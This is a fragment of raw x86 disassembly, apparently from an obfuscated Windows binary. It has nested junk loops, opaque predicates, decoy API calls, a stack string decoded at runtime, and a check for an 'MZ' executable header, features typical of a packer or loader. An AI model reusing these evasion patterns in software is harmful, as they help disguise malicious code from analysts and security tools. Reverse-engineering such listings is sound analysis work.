lea ecx, [ebp - 0x15a0]
call fcn.100211fe
mov byte [ebp - 4], 0xa
mov dword [ebp - 0xdec], 0xf39f3c5a
mov dword [ebp - 0x4f0], 0
jmp 0x10037e73
mov eax, dword [ebp - 0x4f0]
inc eax
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 2
jge 0x10037e92
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x15a0]
call fcn.1002129c
or dword [eax], 0xffffffff
jmp 0x10037e66
push 0
lea ecx, [ebp - 0x1320]
call fcn.1002129c
mov dword [ebp - 0xa20], eax
mov eax, dword [ebp - 0xa20]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xa20]
mov dword [ecx], eax
mov dword [ebp - 0x318], 0xfffffff2
jmp 0x10037ecf
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x1b
jl 0x10037fbb
mov dword [ebp - 0xb80], 0
mov dword [ebp - 0x1048], 0xffffffff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xdd4]
cmp dword [ebp - 0xb80], eax
jge 0x10037f11
mov dword [ebp - 0x778], 1
jmp 0x10037f18
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x1f0]
sub eax, dword [ebp - 0x1098]
cmp eax, dword [ebp - 0xddc]
jl 0x10037f38
mov dword [ebp - 0x768], 1
jmp 0x10037f3f
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x770], eax
mov eax, dword [ebp - 0xb80]
cmp dword [ebp - 0x770], eax
je 0x10037f65
mov dword [ebp - 0xa28], 1
jmp 0x10037f6c
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0x103c]
imul eax, dword [ebp - 0xa28]
imul eax, dword [ebp - 0x778]
add eax, dword [ebp - 0xde4]
cmp dword [ebp - 0x10a0], eax
jge 0x10037fa3
cmp dword [ebp - 0xdec], 0
je 0x10037fa3
mov dword [ebp - 0xc30], 1
jmp 0x10037faa
and dword [ebp - 0xc30], 0
mov eax, dword [ebp - 0xc30]
mov dword [ebp - 0x1048], eax
jmp 0x10037ec2
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x15a0]
call fcn.10021280
jmp 0x10037dc1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1320]
call fcn.10021280
mov dword [ebp - 0x780], 0xc9a
mov dword [ebp - 0xdf4], 0x1000abc4
cmp dword [ebp - 0x780], 0x1049
jle 0x10038082
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
and dword [ebp - 0x458], 0
jmp 0x10038020
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0x5dba
jge 0x10038082
and dword [ebp - 0x320], 0
jmp 0x10038042
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x2a28
jge 0x10038080
mov eax, dword [ebp - 0x458]
imul eax, dword [ebp - 0x320]
cdq
mov dword [ebp - 0xed0], eax
mov dword [ebp - 0xecc], edx
push dword [ebp - 0xecc]
push dword [ebp - 0xed0]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x10038035
jmp 0x10038013
mov eax, dword [ebp - 0x540]
mov byte [ebp + eax - 0x11a4], 0
cmp dword [ebp - 0x780], 0xc6e
jge 0x100380ac
mov edx, dword [ebp - 0xdf4]
mov ecx, 0x10084b98
call fcn.10023c34
jmp 0x10037cff
mov dword [ebp - 0x1cc], 0x29000d4e
mov dword [ebp - 0xa30], 0x6dac
mov dword [ebp - 0x10a8], 0x1000abf0
cmp dword [ebp - 0xa30], 0x6f1a
jle 0x100381bb
and dword [ebp - 0x4f8], 0
jmp 0x100380f5
mov eax, dword [ebp - 0x4f8]
inc eax
mov dword [ebp - 0x4f8], eax
cmp dword [ebp - 0x4f8], 0x149d
jge 0x100381bb
and dword [ebp - 0x328], 0
jmp 0x1003811b
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x1420
jge 0x100381b6
and dword [ebp - 0x460], 0
jmp 0x10038141
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x6622
jge 0x100381b1
and dword [ebp - 0x330], 0
jmp 0x10038163
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x1c2b
jge 0x100381af
mov eax, dword [ebp - 0x328]
cdq
idiv dword [ebp - 0x460]
add edx, dword [ebp - 0x330]
or edx, dword [ebp - 0x4f8]
mov eax, edx
cdq
mov dword [ebp - 0xedc], eax
mov dword [ebp - 0xed8], edx
push dword [ebp - 0xed8]
push dword [ebp - 0xedc]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x10038156
jmp 0x10038134
jmp 0x1003810e
jmp 0x100380e8
mov dword [ebp - 0x338], 0
jmp 0x100381d4
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 2
jge 0x100381f0
mov eax, dword [ebp - 0x338]
mov dword [ebp + eax*4 - 0x13f8], 0xb9102071
jmp 0x100381c7
cmp dword [ebp - 0xa30], 0x6b9c
jge 0x1003820c
mov edx, dword [ebp - 0x10a8]
mov ecx, 0x10084b98
call fcn.10023c34
mov dword [ebp - 0x1cc], 0
jmp 0x10038225
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 1
jg 0x10038242
mov eax, dword [ebp - 0x1cc]
cmp dword [ebp + eax*4 - 0x13f8], 0
je 0x10038240
jmp 0x10038242
jmp 0x10038218
mov dword [ebp - 0x340], 3
push 1
lea ecx, [ebp - 0x1308]
call fcn.100211fe
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x1448], 0x937a3a11
mov dword [ebp - 0x468], 0
jmp 0x10038283
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 1
jge 0x100382a5
push dword [ebp - 0x468]
lea ecx, [ebp - 0x1308]
call fcn.1002129c
mov dword [eax], 0x8e5c
jmp 0x10038276
mov dword [ebp - 0x340], 0xf
jmp 0x100382be
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x1d
jg 0x1003830e
mov dword [ebp - 0x1e4], 0x5f394a2a
mov dword [ebp - 0x1e4], 0
jmp 0x100382ea
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jge 0x1003830c
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0x1308]
call fcn.1002129c
mov dword [eax], 0x402e
jmp 0x100382dd
jmp 0x100382b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1308]
call fcn.10021280
mov byte [ebp - 0x22c], 7
mov byte [ebp - 0x22b], 0x23
mov byte [ebp - 0x22a], 0xd
mov byte [ebp - 0x229], 0x25
mov byte [ebp - 0x228], 0xc
mov byte [ebp - 0x227], 0x24
mov byte [ebp - 0x226], 2
mov byte [ebp - 0x225], 0x16
mov byte [ebp - 0x224], 9
mov byte [ebp - 0x223], 6
mov byte [ebp - 0x222], 1
mov byte [ebp - 0x221], 0x11
mov byte [ebp - 0x220], 3
mov byte [ebp - 0x21f], 0x13
mov byte [ebp - 0x21e], 0xb
mov byte [ebp - 0x21d], 0x12
mov byte [ebp - 0x21c], 6
mov byte [ebp - 0x21b], 0x23
mov byte [ebp - 0x21a], 8
mov byte [ebp - 0x219], 0x3f
mov byte [ebp - 0x218], 0xa
mov byte [ebp - 0x217], 0xa
mov byte [ebp - 0x216], 4
mov byte [ebp - 0x215], 0x11
mov byte [ebp - 0x214], 0
mov byte [ebp - 0x213], 0x37
mov byte [ebp - 0x212], 5
mov byte [ebp - 0x211], 0x26
mov dword [ebp - 0x568], 0xb26bdde0
mov dword [ebp - 0x350], 0x999fb023
mov dword [ebp - 0x470], 1
mov dword [ebp - 0x568], 6
jmp 0x10038418
mov eax, dword [ebp - 0x568]
dec eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 0xffffffe7
jne 0x1003856d
mov dword [ebp - 0x348], 0
jmp 0x1003843e
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 2
jge 0x1003845a
mov eax, dword [ebp - 0x348]
mov dword [ebp + eax*4 - 0xcec], 0xcfce
jmp 0x10038431
mov dword [ebp - 0x350], 0xfb6318d5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xcec], 1
jle 0x10038480
mov dword [ebp - 0x788], 1
jmp 0x10038487
and dword [ebp - 0x788], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xcec]
cmp dword [ebp + eax - 0xcec], ecx
jge 0x100384af
mov dword [ebp - 0xdfc], 1
jmp 0x100384b6
and dword [ebp - 0xdfc], 0
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x1450], eax
mov eax, dword [ebp - 0x470]
cmp dword [ebp - 0x788], eax
je 0x100384dc
mov dword [ebp - 0xb88], 1
jmp 0x100384e3
and dword [ebp - 0xb88], 0
mov eax, dword [ebp - 0x350]
cmp eax, dword [ebp - 0xb88]
jge 0x100384fd
mov dword [ebp - 0x790], 1
jmp 0x10038504
and dword [ebp - 0x790], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x790]
sub ecx, dword [ebp + eax - 0xcec]
jne 0x1003852b
cmp dword [ebp - 0x470], 0
jne 0x1003852b
and dword [ebp - 0xa38], 0
jmp 0x10038535
mov dword [ebp - 0xa38], 1
mov eax, dword [ebp - 0x350]
cmp dword [ebp - 0xa38], eax
jge 0x1003854f
mov dword [ebp - 0x798], 1
jmp 0x10038556
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x798]
mov dword [ebp - 0x350], eax
jmp 0x1003840b
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x22c]
or eax, 0x51
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x22c]
and ecx, 0x51
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x22c]
mov byte [ebp + ecx - 0xd44], al
mov dword [ebp - 0x54], 2
and dword [ebp - 0x600], 0
jmp 0x100385be
mov eax, dword [ebp - 0x54]
inc eax
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x1c
jae 0x10038655
mov eax, dword [ebp - 0x54]
movzx eax, byte [ebp + eax - 0x22b]
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x600]
movzx ecx, byte [ebp + ecx - 0x22e]
movsx ecx, byte [ebp + ecx - 0xd44]
add eax, ecx
mov ecx, dword [ebp - 0x54]
movzx ecx, byte [ebp + ecx - 0x22b]
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0x600]
movzx edx, byte [ebp + edx - 0x22e]
movsx edx, byte [ebp + edx - 0xd44]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x54]
movzx ecx, byte [ebp + ecx - 0x22b]
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0x600]
movzx edx, byte [ebp + edx - 0x22e]
movsx edx, byte [ebp + edx - 0xd44]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x54]
movzx ecx, byte [ebp + ecx - 0x22c]
mov byte [ebp + ecx - 0xd44], al
jmp 0x100385b6
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0xd44], 0
mov dword [ebp - 0x1458], 0xfffffffe
mov dword [ebp - 0x500], 7
mov dword [ebp - 0x1460], 0xd69f4288
mov dword [ebp - 0x1468], 0
mov dword [ebp - 0x1470], 5
mov dword [ebp - 0x1478], 1
mov dword [ebp - 0x1480], 0xfffffff6
mov dword [ebp - 0xc88], 0xfffc
mov dword [ebp - 0x94], 0
jmp 0x100386cc
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x100386e8
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x1488], 0xfffffffe
jmp 0x100386bf
mov dword [ebp - 0x94], 0
jmp 0x10038701
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x1003871d
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x17b4], 0
jmp 0x100386f4
mov eax, dword [ebp - 0xc88]
dec eax
mov dword [ebp - 0xc88], eax
mov dword [ebp - 0x500], 0xffffffef
jmp 0x10038743
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 0x15
jg 0x10038763
mov dword [ebp - 0x1054], 0x168aa2d
cmp dword [ebp - 0x1054], 0
je 0x10038761
jmp 0x10038763
jmp 0x10038736
lea eax, [ebp - 0xd44]
push eax
lea ecx, [ebp - 0x1790]
call fcn.10041fd6
mov dword [ebp - 0xe04], eax
mov eax, dword [ebp - 0xe04]
mov dword [ebp - 0x10b0], eax
mov dword [ebp - 4], 0xc
mov edx, dword [ebp - 0x7a0]
mov ecx, dword [ebp - 0x10b0]
call fcn.10024b93
mov dword [0x1008a03c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1790]
call fcn.1002116b
mov dword [ebp - 0xa40], 0x3e7b
mov dword [ebp - 0xe0c], 0x1000ac54
cmp dword [ebp - 0xa40], 0x4185
jle 0x100388b0
and dword [ebp - 0x360], 0
jmp 0x100387ed
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x4f23
jge 0x100388b0
and dword [ebp - 0x358], 0
jmp 0x10038813
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x24af
jge 0x100388ab
and dword [ebp - 0x478], 0
jmp 0x10038839
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0x3d4
jge 0x100388a6
and dword [ebp - 0x548], 0
jmp 0x1003885b
mov eax, dword [ebp - 0x548]
inc eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 0x25bd
jge 0x100388a4
mov eax, dword [ebp - 0x358]
add eax, dword [ebp - 0x478]
xor eax, dword [ebp - 0x360]
or eax, dword [ebp - 0x548]
cdq
mov dword [ebp - 0xee8], eax
mov dword [ebp - 0xee4], edx
push dword [ebp - 0xee4]
push dword [ebp - 0xee8]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003884e
jmp 0x1003882c
jmp 0x10038806
jmp 0x100387e0
cmp dword [ebp - 0xa40], 0x3d36
jge 0x100388cc
mov edx, dword [ebp - 0xe0c]
mov ecx, 0x10084b98
call fcn.10023c34
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x7a8], 0x2189f42
mov dword [ebp - 0x7b8], 0x912e7550
mov dword [ebp - 0xe14], 0xfffffff9
mov dword [ebp - 0x1490], 0
mov dword [ebp - 0x1498], 0xca925f32
mov dword [ebp - 0x5d0], 0xe836ea0e
mov dword [ebp - 0xb98], 0xffffffff
mov dword [ebp - 0xe1c], 0x7cd2
mov dword [ebp - 0x800], 0
mov dword [ebp - 0x368], 0
jmp 0x10038946
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 1
jge 0x10038962
mov eax, dword [ebp - 0x368]
mov dword [ebp + eax*4 - 0x1d4], 0
jmp 0x10038939
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x7a8], eax
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x7a8], eax
jl 0x10038982
mov dword [ebp - 0xb90], 1
jmp 0x10038989
and dword [ebp - 0xb90], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0xb90], eax
jl 0x100389a0
mov dword [ebp - 0x10b8], 1
jmp 0x100389a7
and dword [ebp - 0x10b8], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14a0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d4]
mov dword [ebp - 0x14a8], eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x38]
jl 0x100389da
mov dword [ebp - 0x7b0], 1
jmp 0x100389e1
and dword [ebp - 0x7b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d4]
add eax, dword [ebp - 0x7b0]
je 0x10038a09
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x10038a09
mov dword [ebp - 0xa48], 1
jmp 0x10038a10
and dword [ebp - 0xa48], 0
mov eax, dword [ebp - 0xa48]
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 0x11c15747
je 0x10038a34
mov dword [ebp - 0xc38], 1
jmp 0x10038a3b
and dword [ebp - 0xc38], 0
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0xc38]
jge 0x10038a52
mov dword [ebp - 0x7c0], 1
jmp 0x10038a59
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0xe14]
cmp dword [ebp - 0x7c0], eax
jg 0x10038a73
mov dword [ebp - 0xa50], 1
jmp 0x10038a7a
and dword [ebp - 0xa50], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d4]
cmp dword [ebp - 0xa50], eax
je 0x10038e68
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1d4], 0
je 0x10038e68
mov dword [ebp - 0x116c], 0
push 3
lea ecx, [ebp - 0x12c0]
call fcn.100211fe
mov dword [ebp - 4], 0xf
mov dword [ebp - 0xc40], 0x1b6b
mov dword [ebp - 0xe24], 0x1000ac90
cmp dword [ebp - 0xc40], 0x1cec
jle 0x10038fb0
mov dword [ebp - 0xa70], 0x7dd9
mov dword [ebp - 0xe2c], 0x1000acb8
cmp dword [ebp - 0xa70], 0x807d
jle 0x1003924a
and dword [ebp - 0x510], 0
jmp 0x1003917b
mov eax, dword [ebp - 0x510]
inc eax
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0x45dd
jge 0x1003924a
and dword [ebp - 0x398], 0
jmp 0x100391a1
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x4b89
jge 0x10039245
and dword [ebp - 0x498], 0
jmp 0x100391c7
mov eax, dword [ebp - 0x498]
inc eax
mov dword [ebp - 0x498], eax
cmp dword [ebp - 0x498], 0x76ac
jge 0x10039240
and dword [ebp - 0x3a0], 0
jmp 0x100391e9
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x7d7d
jge 0x1003923b
mov esi, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x398]
sar esi, cl
mov eax, dword [ebp - 0x498]
cdq
idiv dword [ebp - 0x3a0]
mov ecx, edx
shl esi, cl
mov eax, esi
cdq
mov dword [ebp - 0xf0c], eax
mov dword [ebp - 0xf08], edx
push dword [ebp - 0xf08]
push dword [ebp - 0xf0c]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x100391dc
jmp 0x100391ba
jmp 0x10039194
jmp 0x1003916e
cmp dword [ebp - 0xa70], 0x7b33
jge 0x10039266
mov edx, dword [ebp - 0xe2c]
mov ecx, 0x10084b98
call fcn.10023c34
push 1
lea ecx, [ebp - 0xd04]
call fcn.100211fe
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x628], 0x8dc2a82a
push 1
lea ecx, [ebp - 0x12cc]
call fcn.100211fe
mov byte [ebp - 4], 0x13
mov dword [ebp - 0xba8], 1
mov dword [ebp - 0x106c], 0xf0cf8651
mov dword [ebp - 0x84], 0
jmp 0x100392c2
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x100392e1
push dword [ebp - 0x84]
lea ecx, [ebp - 0xd04]
call fcn.1002129c
or dword [eax], 0xffffffff
jmp 0x100392b5
mov dword [ebp - 0x84], 0
jmp 0x100392fa
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x1003931c
push dword [ebp - 0x84]
lea ecx, [ebp - 0x12cc]
call fcn.1002129c
mov dword [eax], 0xccde6bc0
jmp 0x100392ed
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0x14b8], eax
push 0
lea ecx, [ebp - 0x12cc]
call fcn.1002129c
mov dword [ebp - 0x808], eax
push 0
lea ecx, [ebp - 0xd04]
call fcn.1002129c
mov ecx, dword [ebp - 0x808]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x808]
mov eax, dword [eax]
mov dword [ebp - 0xba8], eax
mov esi, dword [ebp - 0x628]
mov edi, dword [ebp - 0xba8]
push 0
lea ecx, [ebp - 0xd04]
call fcn.1002129c
mov eax, dword [eax]
sub eax, edi
shl eax, 1
cmp eax, esi
jg 0x1003938f
mov dword [ebp - 0x810], 1
jmp 0x10039396
and dword [ebp - 0x810], 0
push 0
lea ecx, [ebp - 0xd04]
call fcn.1002129c
mov eax, dword [eax]
imul eax, dword [ebp - 0x810]
cmp eax, dword [ebp - 0x628]
jl 0x100393c0
mov dword [ebp - 0xa78], 1
jmp 0x100393c7
and dword [ebp - 0xa78], 0
push 0
lea ecx, [ebp - 0xd04]
call fcn.1002129c
mov ecx, dword [ebp - 0xa78]
imul ecx, dword [eax]
cmp ecx, 0xffffffff
jne 0x100393ee
mov dword [ebp - 0x818], 1
jmp 0x100393f5
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x106c], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x12cc]
call fcn.10021280
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd04]
call fcn.10021280
mov eax, dword [0x1008a010]
cmp eax, dword [ebp - 0x504]
je 0x1003943d
mov eax, dword [0x1008a03c]
cmp eax, dword [ebp - 0x504]
jne 0x1003960e
push 1
lea ecx, [ebp - 0xd34]
call fcn.100211fe
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x5d8], 0x8dc2a82a
push 1
lea ecx, [ebp - 0x12e4]
call fcn.100211fe
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x820], 1
mov dword [ebp - 0xe34], 0xf0cf8651
mov dword [ebp - 0x9c], 0
jmp 0x10039499
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x100394b8
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xd34]
call fcn.1002129c
or dword [eax], 0xffffffff
jmp 0x1003948c
mov dword [ebp - 0x9c], 0
jmp 0x100394d1
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x100394f3
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x12e4]
call fcn.1002129c
mov dword [eax], 0xccde6bc0
jmp 0x100394c4
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x14c0], eax
push 0
lea ecx, [ebp - 0x12e4]
call fcn.1002129c
mov dword [ebp - 0xc5c], eax
push 0
lea ecx, [ebp - 0xd34]
call fcn.1002129c
mov ecx, dword [ebp - 0xc5c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc5c]
mov eax, dword [eax]
mov dword [ebp - 0x820], eax
mov esi, dword [ebp - 0x5d8]
mov edi, dword [ebp - 0x820]
push 0
lea ecx, [ebp - 0xd34]
call fcn.1002129c
mov eax, dword [eax]
sub eax, edi
shl eax, 1
cmp eax, esi
jg 0x10039566
mov dword [ebp - 0xa80], 1
jmp 0x1003956d
and dword [ebp - 0xa80], 0
push 0
lea ecx, [ebp - 0xd34]
call fcn.1002129c
mov eax, dword [eax]
imul eax, dword [ebp - 0xa80]
cmp eax, dword [ebp - 0x5d8]
jl 0x10039597
mov dword [ebp - 0x828], 1
jmp 0x1003959e
and dword [ebp - 0x828], 0
push 0
lea ecx, [ebp - 0xd34]
call fcn.1002129c
mov ecx, dword [ebp - 0x828]
imul ecx, dword [eax]
cmp ecx, 0xffffffff
jne 0x100395c5
mov dword [ebp - 0xbb0], 1
jmp 0x100395cc
and dword [ebp - 0xbb0], 0
mov eax, dword [ebp - 0xbb0]
mov dword [ebp - 0xe34], eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x12e4]
call fcn.10021280
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd34]
call fcn.10021280
mov ecx, dword [ebp + 0xc]
call fcn.10020ec4
push eax
push dword [ebp + 8]
call fcn.1002eda1
pop ecx
pop ecx
jmp 0x100404c9
mov dword [ebp - 0x830], 0x6087
mov dword [ebp - 0xe3c], 0x1000acd8
cmp dword [ebp - 0x830], 0x6457
jle 0x100396e6
and dword [ebp - 0x550], 0
jmp 0x10039648
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0x1498
jge 0x100396d2
and dword [ebp - 0x3a8], 0
jmp 0x1003966a
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x3964
jge 0x100396cd
mov eax, dword [ebp - 0x550]
and eax, dword [ebp - 0x3a8]
cdq
mov dword [ebp - 0xf18], eax
mov dword [ebp - 0xf14], edx
push dword [ebp - 0xf14]
push dword [ebp - 0xf18]
lea ecx, [ebp - 0x17cc]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0x1104], eax
mov ecx, dword [ebp - 0x1104]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x17cc]
call fcn.10020eba
jmp 0x1003965d
jmp 0x1003963b
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetDIBits]
cmp dword [ebp - 0x830], 0x607a
jge 0x100396fe
push dword [ebp - 0xe3c]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0xc4], 1
mov dword [ebp - 0x1e8], 0xfffffffe
mov dword [ebp - 0xc4], 0
jmp 0x1003972b
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x18
je 0x10039752
mov byte [ebp - 0x161], 0
movzx eax, byte [ebp - 0x161]
test eax, eax
je 0x10039750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
jmp 0x1003971e
cmp dword [ebp - 0xc4], 0
je 0x10039809
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0xc4], eax
je 0x10039785
mov dword [ebp - 0xc48], 1
jmp 0x1003978c
and dword [ebp - 0xc48], 0
cmp dword [ebp - 0x1e8], 0xfffffffc
jne 0x100397a1
mov dword [ebp - 0xa88], 1
jmp 0x100397a8
and dword [ebp - 0xa88], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0xa88], eax
jne 0x100397c2
mov dword [ebp - 0x838], 1
jmp 0x100397c9
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x838]
neg eax
cmp dword [ebp - 0xc48], eax
jne 0x100397e5
mov dword [ebp - 0x840], 1
jmp 0x100397ec
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x1e8]
imul eax, dword [ebp - 0x840]
test eax, eax
je 0x10039809
mov dword [ebp - 0xa90], 1
jmp 0x10039810
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0xa90]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0
je 0x1004027b
mov eax, dword [ebp - 0x4a8]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1004027b
mov dword [ebp - 0x868], 0x6e81
mov dword [ebp - 0xe44], 0x1000ad18
cmp dword [ebp - 0x868], 0x6f06
jle 0x10039955
and dword [ebp - 0x4a0], 0
jmp 0x10039880
mov eax, dword [ebp - 0x4a0]
inc eax
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 0x7f14
jge 0x10039945
and dword [ebp - 0x3b0], 0
jmp 0x100398a6
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x2019
jge 0x10039940
and dword [ebp - 0x518], 0
jmp 0x100398cc
mov eax, dword [ebp - 0x518]
inc eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 0x6a79
jge 0x1003993b
and dword [ebp - 0x3b8], 0
jmp 0x100398ee
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0x773b
jge 0x10039939
mov eax, dword [ebp - 0x4a0]
and eax, dword [ebp - 0x3b0]
mov ecx, dword [ebp - 0x518]
add ecx, dword [ebp - 0x3b8]
or eax, ecx
cdq
mov dword [ebp - 0xf24], eax
mov dword [ebp - 0xf20], edx
push dword [ebp - 0xf20]
push dword [ebp - 0xf24]
